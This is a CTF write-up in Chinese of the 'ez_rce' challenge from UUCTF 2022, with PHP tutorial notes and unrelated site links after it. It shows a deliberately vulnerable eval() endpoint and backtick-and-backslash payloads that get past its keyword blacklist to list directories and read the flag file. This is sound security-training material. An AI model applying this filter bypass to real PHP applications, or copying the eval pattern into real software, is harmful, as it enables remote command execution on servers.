命令执行 [UUCTF 2022 新生赛]ez_rce

打开题目

得到题目源码

居然都不输入参数,可恶!!!!!!!!!

<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
        echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
        eval($code);
    }
    else{
        die("你想干什么?????????");
    }
}
else{
    echo "居然都不输入参数,可恶!!!!!!!!!";
    show_source(__FILE__);
}

代码审计一下

get传入的code参数如果存在的话就赋值给code参数,如果参数里面没有/sys,pas等符号就输出一句话且执行code参数里面的命令

如果有的话,就退出脚本运行并输出一句话,如果code参数的值不存在就输出另外一句话。

解题思路

我们可以先尝试一下,这里是php语句,所以我们要在语句最后加上;

?code=print(`l\s`);

这里用printf也是一样的结果

得到

那我们去查看一下根目录

?code=print(`l\s /`);

发现了flag

构造payload:

/?code=print(`c\at /fffffffffflagafag`);

得到flag

或者我们直接用var_dump命令也是一样的

/?code=var_dump(`c\at /fffffffffflagafag`);

知识点:

php语句中反引号 `` 的作用

1.在sql语句中用来包含关键字

如,加上反引号就不会有因为字段是关键字而出错的问题

$sql = "select `user`,username from `Content`";

为了保险起见,我们建议在所有字段中都加上反引号,即上面的SQL建议写成

$sql = "select `user`,`username` from `Content`";

2.执行系统命令

PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回

如:

echo `ipconfig`

知识点参考:php中``反引号的作用_`反单引号在php语言以及sql语言中的作用分别是什么?-CSDN博客

PHP中的输出:echo、print、printf、sprintf、print_r和var_dump

  • echo

最基础的输出语句,不需要括号,可以使用参数列表,用逗号分隔。但如果加了括号就不能用逗号分隔着输出了。没有返回值

echo 'fullstackpm'; // 正常输出:fullstackpm
echo 'fullstackpm', ' is ', 'Good!'; // 正常输出:fullstackpm is Good!
echo ('fullstackpm'); // 正常输出:fullstackpm
echo ('fullstackpm', ' is ', 'Good!'); // 报错了
  • print

基本和echo一样,但是不支持参数列表,有返回值。返回值永远是1,因为有返回值,所以相对来说效率不如echo

print 'fullstackpm'; // 正常输出:fullstackpm
print 'fullstackpm', ' is ', 'Good!'; // 错误
$r = print ('fullstackpm'); // 正常输出:fullstackpm
print $r; // 输出1
  • printf和sprintf

二者都可以格式化输出字符串。printf和sprintf的区别就是前者直接进行了输出,而后者是将字符串进行了函数返回

$str = 'My name is %s, I\'m %d years old.';
printf($str, 'fullstackpm', 1002); // 直接输出:My name is fullstackpm, I'm 1002 years old.

$s = sprintf($str, 'WoW', 12); // 这里不会输出
print $s; // 输出:My name is WoW, I'm 12 years old.
规定符
  • %d 十进制有符号整数
  • %u 十进制无符号整数
  • %f 浮点数
  • %s 字符串
  • %c 单个字符
  • %p 指针的值
  • %e 指数形式的浮点数
  • %x, %X 无符号以十六进制表示的整数
  • %o 无符号以八进制表示的整数
  • %g 把输出的值按照 %e 或者 %f 类型中输出长度较小的方式输出
  • %p 输出地址符
  • %lu 32位无符号整数
  • %llu 64位无符号整数
  • %% 输出百分号字符本身。

除了格式化说明符之外,printf() 函数还支持一些标志和选项,用于控制输出的精度、宽度、填充字符和对齐方式等。例如:

  • %-10s:左对齐并占用宽度为 10 的字符串;
  • %5.2f:右对齐并占用宽度为 5,保留两位小数的浮点数;
  • %#x:输出带有 0x 前缀的十六进制数。

(具体使用见:C 库函数 – printf() | 菜鸟教程)

  • print_r

可以格式化的输出数组或对象。注意第二个参数设置为true,可以不直接输出而是进行函数返回

  • var_dump和var_exports

var_dump用来显示结构信息,包括类型与值,数组对象都会展开,用缩进表示层次。

var_exports与之不同的地方在于var_exports返回的内容是正常的PHP代码,可以直接使用,并且有和print_r类似的第二个return参数,作用也类似。

参考文章:PHP中的输出:echo、print、printf、sprintf、print_r和var_dump-腾讯云开发者社区-腾讯云

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/413261.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

2024首更,Smartbi产品功能更新,用户体验更丝滑

Smartbi用户可以在官网下载Smartbi V11最新版本&#xff08;https://www.smartbi.com.cn/download&#xff09;&#xff08;PC端下载&#xff09;更新后可以使用相关功能&#xff0c;也可以在思迈特官网体验中心体验相关功能。 交互仪表盘 ▍指标拆解树组件支持从右到左展开指标…

应用回归分析:弹性网络回归

弹性网络回归&#xff1a;原理、优势与应用 弹性网络回归&#xff08;Elastic Net Regression&#xff09;是一种广泛使用的线性回归方法&#xff0c;它结合了岭回归&#xff08;Ridge Regression&#xff09;和套索回归&#xff08;Lasso Regression&#xff09;的特点。通过…

搭建Facebook直播网络对IP有要求吗?

在当今数字化时代&#xff0c;Facebook直播已经成为了一种极具吸引力的社交形式&#xff0c;为个人和企业提供了与观众直接互动的机会&#xff0c;成为推广产品、分享经验、建立品牌形象的重要途径。然而&#xff0c;对于许多人来说&#xff0c;搭建一个稳定、高质量的Facebook…

算法竞赛--对拍

对拍需要 loop.bat、makedate.exe、a.in、a.exe、a.out、std.exe、std.out ,注意这几个文件要全部在同一文件夹下。 loop.bat 比较代码&#xff08;在记事本里写&#xff0c;后缀改成.bat) :loopmakedataastdfc std.out a.outif %errorlevel%0 goto loop pause makedata.exe…

面试redis篇-09redis分布式锁

原理 Redis实现分布式锁主要利用Redis的setnx命令。setnx是SET if not exists(如果不存在,则 SET)的简写 Redis实现分布式锁如何合理的控制锁的有效时长? 根据业务执行时间预估 给锁续期 redisson实现的分布式锁-可重入 利用hash结构记录线程id和重入次数 redisson实现的分…

Programming Abstractions in C阅读笔记:p303-p305

《Programming Abstractions in C》学习第74天&#xff0c;p303-p305总结&#xff0c;总计3页。 一、技术总结 1.时间复杂度分类(complexity classes) ClassNotationExampleconstantO(1)Returning the first element in an arraylogarithmicO(logN)Binary search in a sorte…

防火墙的内容安全

目录 1. 内容安全 1.1 IAE引擎 DPI---深度包检测技术 DFI---深度流检测技术 结论(优缺点)&#xff1a; 1.2 入侵防御&#xff08;检测&#xff09;(IPS) IPS的优势: 入侵检测的方法: 入侵检测的流程 签名 查看预定义签名的内容 新建自定义签名 入侵防御的检测…

Docker基础(一)

文章目录 1. 基础概念2. 安装docker3. docker常用命令3.1 帮助命令3.2 镜像命令3.3 容器命令3.4 其他命令 4. 使用案例 1. 基础概念 镜像&#xff08;Image&#xff09;&#xff1a;Docker 镜像&#xff08;Image&#xff09;&#xff0c;就相当于是一个 root 文件系统。比如官…

pytest-配置项目不同环境URL

pytest自动化中&#xff0c;在不同环境进行测试&#xff0c;可以将项目中的url单独抽取出来&#xff0c;通过pytest.ini配置文件实现&#xff08;类似postman中的“Environments”&#xff09; 使用步骤&#xff1a; 1&#xff09;安装pytest-base-url插件 pytest-base-url …

【目标检测新SOTA!v7 v4作者新作!】YOLO v9 思路设计 + 全流程优化 + 手把手训练自己数据

YOLO v9 思路复现 全流程优化 手把手训练自己数据 提出背景&#xff1a;深层网络的 信息丢失、梯度流偏差YOLO v9 设计逻辑可编程梯度信息&#xff08;PGI&#xff09;&#xff1a;使用PGI改善训练过程广义高效层聚合网络&#xff08;GELAN&#xff09;&#xff1a;使用GELAN…

J.绝妙的平衡

解题思路 对于一个以染成红色的点为根的子树&#xff0c;要使其权值之和为3的倍数则与其子树中的红色点无关&#xff0c;至于白色点数有关若除去子树中的红色点后&#xff0c;剩余包括其自身共有k个若&#xff0c;则无解&#xff0c;即只有一个红色叶子点若&#xff0c;则除自…

linux查看socket信息

netstat netstat 是一个用于显示网络相关信息的命令行工具。它可以显示当前系统的网络连接状态、路由表、接口统计信息等。 下面是一些常见的 netstat 命令选项和用法&#xff1a; 显示所有活动的网络连接&#xff1a; netstat -a 显示所有正在监听的端口&#xff1a; ne…

局域网技术

目录 一、网络的定义 1、网络的基本概念&#xff1a; 2、不同类型的网络&#xff1a; 二、局域网发展 1、对局域网的研究是从20世纪60年代开始的&#xff1a; 2、英国剑桥大学计算机研究室&#xff1a;剑桥环局域网&#xff1a; 3、DatePoint公司推出用于办公系统的&…

MATLAB环境下一种改进的瞬时频率(IF)估计方法

相对于频率成分单一、周期性强的平稳信号来说&#xff0c;具有非平稳、非周期、非可积特性的非平稳信号更普遍地存在于自然界中。调频信号作为非平稳信号的一种&#xff0c;由于其频率时变、距离分辨率高、截获率低等特性&#xff0c;被广泛应用于雷达、地震勘测等领域。调频信…

远程连接Redis

以连接阿里云上的Redis为例 1. 在阿里云安全组中开放端口 2.修改Redis启动时所用的配置文件&#xff08;redis.conf&#xff09; 2.1 修改ip地址 如图&#xff1a;将默认的本地ip bind 127.0.0.1地址改为bind 0.0.0.0 2.2 将保护模式关闭 将默认的 supervised yes 改为 n…

JAVA IDEA 项目打包为 jar 包详解

前言 如下简单 maven 项目&#xff0c;现在 maven 项目比较流行&#xff0c;你还没用过就OUT了。需要打包jar 先设置&#xff1a;点击 File > Project Structure > Artifacts > 点击加号 > 选择JAR > 选择From modules with dependencies 一、将所有依赖和模…

如何将本地项目上传到github上

将本地项目上传到github上有很多种方法&#xff0c;这里只讲述我认为最简单快捷的一种&#xff0c;先在github中创建一个仓库&#xff0c;接着在本地建文件夹&#xff0c;用命令行将项目推送到本地仓库&#xff0c;然后连接远程仓库&#xff0c;将本地项目推送到远程仓库上。要…

vue3 + TS + vite 搭建中后台管理系统(开箱即用)

[TOC](vue3 TS vite 搭建中后台管理系统) 开箱即用 前言 要成功&#xff0c;先发疯&#xff0c;头脑简单往前冲&#xff01; 三金四银&#xff0c;金九银十&#xff0c;多学知识&#xff0c;也不能埋头苦干&#xff0c;要成功&#xff0c;先发疯&#xff0c;头脑简单往前冲…

苍穹外卖Day02——解决总结2中存在的问题

解决Day02中存在的问题 1. BeanUtils类2. DigestUtils类3. LocalDateTime类4. ThreadLocal类5.扩展Spring MVC框架的消息转化器 1. BeanUtils类 项目应用&#xff1a;属性拷贝 目的&#xff1a;在新增分类中为了减少类category中的setXXX()次数&#xff0c;使用了BeanUtils类中…